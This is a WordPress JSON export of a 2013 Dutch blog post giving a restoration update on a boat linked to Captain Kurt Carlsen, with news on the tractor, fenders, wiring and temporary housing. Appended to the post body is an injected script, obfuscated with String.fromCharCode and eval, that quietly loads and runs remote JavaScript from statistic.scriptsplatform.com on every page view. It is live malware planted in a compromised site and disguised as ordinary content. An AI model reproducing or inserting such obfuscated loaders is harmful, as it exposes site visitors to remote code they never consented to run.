{"id":6906,"date":"2013-03-15T11:54:16","date_gmt":"2013-03-15T10:54:16","guid":{"rendered":"https:\/\/www.kurtcarlsen.nl\/cms\/?p=6906"},"modified":"2013-03-15T11:55:31","modified_gmt":"2013-03-15T10:55:31","slug":"restauratiestatus-12-maart-2013","status":"publish","type":"post","link":"https:\/\/www.kurtcarlsen.nl\/cms\/restauratiestatus-12-maart-2013\/","title":{"rendered":"Restauratiestatus 12 maart 2013"},"content":{"rendered":"<p>Na de\u00a0terugkeer van\u00a0boot en bootwagen uit de RAI op maandagavond\u00a012-03 konden we volgende avond, dinsdag,\u00a0weer gewoon verder werken.<br \/>\nDe volgende belangrijke deadline is n.l. 13 juni 2013. Dan is het precies 60 jaar geleden dat de boot werd gedoopt door Kapitein Henrik Kurt Carlsen en dat willen we natuurlijk vieren met een boot die af is.<br \/>\nDe tractor moet optisch nog een flinke opkanpbeurt krijgen en\u00a0Marc en Kees jr. hebben zich\u00a0daar, zo te zien\u00a0goed &#8216;ingewerkt&#8217;.<br \/>\nAlhoewel de tractor technisch in orde is gebracht moet dat &#8216;optische&#8217; niet onderschat worden. Zo zijn er bijvoorbeeld twee van de 6 afsluitdeksels van de waterdichte motor te vernieuwen of te repareren.<br \/>\nDeze avond is er ook gewerkt aan de definitieve bevestiging van de beide fenderstroken.<br \/>\nV\u00f3\u00f3r de HISWA presentatie\u00a0was het lijnenwerk provisorisch vastgemaakt.<br \/>\nOok het elektra werk is nog niet af en is weer opgepakt onder leiding van Hans van Hal.<\/p>\n<p>De tijdelijke huisvesting op de KW boulevard is nog onderwerp van onderzoek. We hebben in de afgelopen weken overleg gevoerd met den tentenverhuurbedrijf in Voorhout (Maessen Tenten) en zij komen binnenkort met uitsluitsel over de uitvoering, haalbaarheid en hun prijskaartje van een oplossing.<\/p>\n<p>Benieuwd naar de foto&#8217;s van 26 februari, klik dan even\u00a0<a title=\"Terugkomst | 12 maart\" href=\"https:\/\/www.kurtcarlsen.nl\/cms\/gallery\/terugkomst-12-maart\/\">hier<\/a>.<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Na de\u00a0terugkeer van\u00a0boot en bootwagen uit de RAI op maandagavond\u00a012-03 konden we volgende avond, dinsdag,\u00a0weer gewoon verder werken. De volgende belangrijke deadline is n.l. 13 juni 2013. Dan is het precies 60 jaar geleden dat de boot werd gedoopt door Kapitein Henrik Kurt Carlsen en dat willen we natuurlijk vieren met een boot die af [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":6897,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[36],"tags":[],"class_list":["post-6906","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-algemeen"],"_links":{"self":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6906","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/comments?post=6906"}],"version-history":[{"count":3,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6906\/revisions"}],"predecessor-version":[{"id":6908,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/posts\/6906\/revisions\/6908"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/media\/6897"}],"wp:attachment":[{"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/media?parent=6906"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/categories?post=6906"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.kurtcarlsen.nl\/cms\/wp-json\/wp\/v2\/tags?post=6906"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}